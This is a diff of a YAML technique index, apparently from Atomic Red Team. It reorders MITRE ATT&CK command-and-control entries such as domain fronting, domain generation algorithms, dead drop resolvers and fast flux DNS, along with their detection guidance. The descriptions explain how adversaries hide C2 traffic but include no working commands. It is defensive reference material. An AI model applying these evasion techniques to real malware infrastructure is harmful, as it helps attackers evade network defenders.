+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7
       description: |-
         Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.
@@ -71034,25 +73296,11 @@ command-and-control:
         Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
 
         Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
-      name: Dead Drop Resolver
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1102.001
-        url: https://attack.mitre.org/techniques/T1102/001
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: 'Host data that can relate unknown or suspicious process
         activity using a network connection is important to supplement any existing
         indicators of compromise based on malware command and control signatures and
@@ -71060,64 +73308,81 @@ command-and-control:
         will require SSL/TLS inspection if data is encrypted. User behavior monitoring
         may help to detect abnormal patterns of activity.(Citation: University of
         Birmingham C2)'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1102/001
+        external_id: T1102.001
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1090.004:
     technique:
-      created: '2020-03-14T23:29:19.581Z'
+      type: attack-pattern
       modified: '2020-09-16T19:30:54.226Z'
+      name: Domain Fronting
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      created: '2020-03-14T23:29:19.581Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      type: attack-pattern
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2
       description: |-
         Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).
 
         For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
-      name: Domain Fronting
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1090.004
-        url: https://attack.mitre.org/techniques/T1090/004
-      - external_id: CAPEC-481
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/481.html
-      - url: http://www.icir.org/vern/papers/meek-PETS-2015.pdf
-        description: David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern
-          Paxson. (2015). Blocking-resistant communication through domain fronting.
-          Retrieved November 20, 2017.
-        source_name: Fifield Blocking Resistent Communication through domain fronting
-          2015
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_contributors:
       - Matt Kelly, @breakersall
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
       x_mitre_detection: 'If SSL inspection is in place or the traffic is not encrypted,
         the Host field of the HTTP header can be checked if it matches the HTTPS SNI
         or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking
         Resistent Communication through domain fronting 2015)'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1090/004
+        external_id: T1090.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/481.html
+        external_id: CAPEC-481
+        source_name: capec
+      - source_name: Fifield Blocking Resistent Communication through domain fronting
+          2015
+        description: David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern
+          Paxson. (2015). Blocking-resistant communication through domain fronting.
+          Retrieved November 20, 2017.
+        url: http://www.icir.org/vern/papers/meek-PETS-2015.pdf
     atomic_tests: []
   T1568.002:
     technique:
-      created: '2020-03-10T17:44:59.787Z'
+      type: attack-pattern
       modified: '2020-11-10T18:28:57.002Z'
+      name: Domain Generation Algorithms
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.0'
+      created: '2020-03-10T17:44:59.787Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd
       description: |-
         Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
@@ -71125,113 +73390,92 @@ command-and-control:
         DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)
 
         Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
-      name: Domain Generation Algorithms
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1568.002
-        url: https://attack.mitre.org/techniques/T1568/002
-      - source_name: Cybereason Dissecting DGAs
-        url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
-        description: 'Sternfeld, U. (2016). Dissecting Domain Generation Algorithms:
-          Eight Real World DGA Variants. Retrieved February 18, 2019.'
-      - source_name: Cisco Umbrella DGA
-        url: https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/
-        description: Scarfo, A. (2016, October 10). Domain Generation Algorithms –
-          Why so effective?. Retrieved February 18, 2019.
-      - source_name: Unit 42 DGA Feb 2019
-        url: https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/
-        description: 'Unit 42. (2019, February 7). Threat Brief: Understanding Domain
-          Generation Algorithms (DGA). Retrieved February 19, 2019.'
-      - url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
-        description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast
-          Number of Machines at Risk. Retrieved March 9, 2018.'
-        source_name: Talos CCleanup 2017
-      - source_name: Akamai DGA Mitigation
-        url: https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
-        description: Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of
-          Domain Generation Algorithms. Retrieved February 18, 2019.
-      - url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
-        description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless
-          WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.
-        source_name: FireEye POSHSPY April 2017
-      - source_name: ESET Sednit 2017 Activity
-        url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
-        description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent
-          the Year. Retrieved February 18, 2019.'
-      - source_name: Data Driven Security DGA
-        url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
-        description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part
-          2, Feature Engineering. Retrieved February 18, 2019.'
-      - source_name: Pace University Detecting DGA May 2017
-        url: http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf
-        description: Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically
-          Generated Domains Using Data Visualization and N-Grams Methods . Retrieved
-          April 26, 2019.
-      - source_name: Elastic Predicting DGA
-        url: https://arxiv.org/pdf/1611.00791.pdf
-        description: Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November
-          2). Predicting Domain Generation Algorithms with Long Short-Term Memory
-          Networks. Retrieved April 26, 2019.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_contributors:
       - Ryan Benson, Exabeam
       - Barry Shteiman, Exabeam
       - Sylvain Gil, Exabeam
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
       x_mitre_detection: |-
         Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.
 
         Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1568/002
+        external_id: T1568.002
+        source_name: mitre-attack
+      - url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
+        description: 'Sternfeld, U. (2016). Dissecting Domain Generation Algorithms:
+          Eight Real World DGA Variants. Retrieved February 18, 2019.'
+        source_name: Cybereason Dissecting DGAs
+      - url: https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/
+        description: Scarfo, A. (2016, October 10). Domain Generation Algorithms –
+          Why so effective?. Retrieved February 18, 2019.
+        source_name: Cisco Umbrella DGA
+      - url: https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/
+        description: 'Unit 42. (2019, February 7). Threat Brief: Understanding Domain
+          Generation Algorithms (DGA). Retrieved February 19, 2019.'
+        source_name: Unit 42 DGA Feb 2019
+      - source_name: Talos CCleanup 2017
+        description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast
+          Number of Machines at Risk. Retrieved March 9, 2018.'
+        url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
+      - url: https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
+        description: Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of
+          Domain Generation Algorithms. Retrieved February 18, 2019.
+        source_name: Akamai DGA Mitigation
+      - source_name: FireEye POSHSPY April 2017
+        description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless
+          WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.
+        url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
+      - url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
+        description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent
+          the Year. Retrieved February 18, 2019.'
+        source_name: ESET Sednit 2017 Activity
+      - url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
+        description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part
+          2, Feature Engineering. Retrieved February 18, 2019.'
+        source_name: Data Driven Security DGA
+      - url: http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf
+        description: Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically
+          Generated Domains Using Data Visualization and N-Grams Methods . Retrieved
+          April 26, 2019.
+        source_name: Pace University Detecting DGA May 2017
+      - url: https://arxiv.org/pdf/1611.00791.pdf
+        description: Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November
+          2). Predicting Domain Generation Algorithms with Long Short-Term Memory
+          Networks. Retrieved April 26, 2019.
+        source_name: Elastic Predicting DGA
     atomic_tests: []
   T1568:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1568
-        url: https://attack.mitre.org/techniques/T1568
-      - url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
-        description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast
-          Number of Machines at Risk. Retrieved March 9, 2018.'
-        source_name: Talos CCleanup 2017
-      - url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
-        description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless
-          WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.
-        source_name: FireEye POSHSPY April 2017
-      - source_name: ESET Sednit 2017 Activity
-        url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
-        description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent
-          the Year. Retrieved February 18, 2019.'
-      - source_name: Data Driven Security DGA
-        url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
-        description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part
-          2, Feature Engineering. Retrieved February 18, 2019.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Dynamic Resolution
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      modified: '2020-10-02T01:37:39.938Z'
+      created: '2020-03-10T17:28:11.747Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
+      id: attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.
 
         Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
-      id: attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
-      modified: '2020-10-02T01:37:39.938Z'
-      created: '2020-03-10T17:28:11.747Z'
       x_mitre_contributors:
       - Chris Roffe
       x_mitre_detection: 'Detecting dynamically generated C2 can be challenging due
@@ -71244,65 +73488,74 @@ command-and-control:
         names. In addition to detecting algorithm generated domains based on the name,
         another more general approach for detecting a suspicious domain is to check
         for recently registered names or for rarely visited domains.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1568
+        external_id: T1568
+        source_name: mitre-attack
+      - source_name: Talos CCleanup 2017
+        description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast
+          Number of Machines at Risk. Retrieved March 9, 2018.'
+        url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
+      - source_name: FireEye POSHSPY April 2017
+        description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless
+          WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.
+        url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
+      - url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
+        description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent
+          the Year. Retrieved February 18, 2019.'
+        source_name: ESET Sednit 2017 Activity
+      - url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
+        description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part
+          2, Feature Engineering. Retrieved February 18, 2019.'
+        source_name: Data Driven Security DGA
+    atomic_tests: []
+  T1573:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Encrypted Channel
       x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
       - 'Network Traffic: Network Traffic Content'
       x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
+      modified: '2021-04-20T19:27:46.650Z'
+      created: '2020-03-16T15:33:01.739Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1573:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1573
-        url: https://attack.mitre.org/techniques/T1573
-      - url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
-        description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting
-          SSL. Retrieved April 5, 2016.
-        source_name: SANS Decrypting SSL
-      - url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
-        description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved
-          April 5, 2016.
-        source_name: SEI SSL Inspection Risks
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Encrypted Channel
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118
       description: Adversaries may employ a known encryption algorithm to conceal
         command and control traffic rather than relying on any inherent protections
         provided by a communication protocol. Despite the use of a secure algorithm,
         these implementations may be vulnerable to reverse engineering if secret keys
         are encoded and/or generated within malware samples/configuration files.
-      id: attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2021-04-20T19:27:46.650Z'
-      created: '2020-03-16T15:33:01.739Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
       x_mitre_detection: |-
         SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)
 
         In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1573
+        external_id: T1573
+        source_name: mitre-attack
+      - source_name: SANS Decrypting SSL
+        description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting
+          SSL. Retrieved April 5, 2016.
+        url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
+      - source_name: SEI SSL Inspection Risks
+        description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved
+          April 5, 2016.
+        url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
       identifier: T1573
     atomic_tests:
     - name: OpenSSL C2
@@ -71346,149 +73599,156 @@ command-and-control:
         name: powershell
   T1090.002:
     technique:
-      created: '2020-03-14T23:12:18.466Z'
-      modified: '2020-03-27T17:50:37.411Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       type: attack-pattern
+      modified: '2020-03-27T17:50:37.411Z'
+      name: External Proxy
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-14T23:12:18.466Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3
       description: |-
         Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.
 
         External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.
-      name: External Proxy
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1090.002
-        url: https://attack.mitre.org/techniques/T1090/002
-      - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
-        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
-          of the Trade. Retrieved December 2, 2015.'
-        source_name: Trend Micro APT Attack Tools
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: 'Analyze network data for uncommon data flows, such as a
         client sending significantly more data than it receives from an external server.
         Processes utilizing the network that do not normally have network communication
         or have never been seen before are suspicious. Analyze packet contents to
         detect communications that do not follow the expected protocol behavior for
         the port that is being used.(Citation: University of Birmingham C2)'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1090/002
+        external_id: T1090.002
+        source_name: mitre-attack
+      - source_name: Trend Micro APT Attack Tools
+        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
+          of the Trade. Retrieved December 2, 2015.'
+        url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1008:
     technique:
-      created: '2017-05-31T21:30:21.689Z'
-      modified: '2020-07-14T19:49:47.340Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       type: attack-pattern
-      id: attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2020-07-14T19:49:47.340Z'
       name: Fallback Channels
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1008
+        external_id: T1008
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.0'
+      created: '2017-05-31T21:30:21.689Z'
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433
       description: Adversaries may use fallback or alternate communication channels
         if the primary channel is compromised or inaccessible in order to maintain
         reliable command and control and to avoid data transfer thresholds.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1008
-        external_id: T1008
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
-      x_mitre_network_requirements: true
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used. (Citation: University of Birmingham C2)'
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+    atomic_tests: []
+  T1568.001:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Fast Flux DNS
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Connection Creation'
       x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-    atomic_tests: []
-  T1568.001:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1568.001
-        url: https://attack.mitre.org/techniques/T1568/001
-      - url: https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref
-        description: Mehta, L. (2014, December 17). Fast Flux Networks Working and
-          Detection, Part 1. Retrieved March 6, 2017.
-        source_name: MehtaFastFluxPt1
-      - source_name: MehtaFastFluxPt2
-        description: Mehta, L. (2014, December 23). Fast Flux Networks Working and
-          Detection, Part 2. Retrieved March 6, 2017.
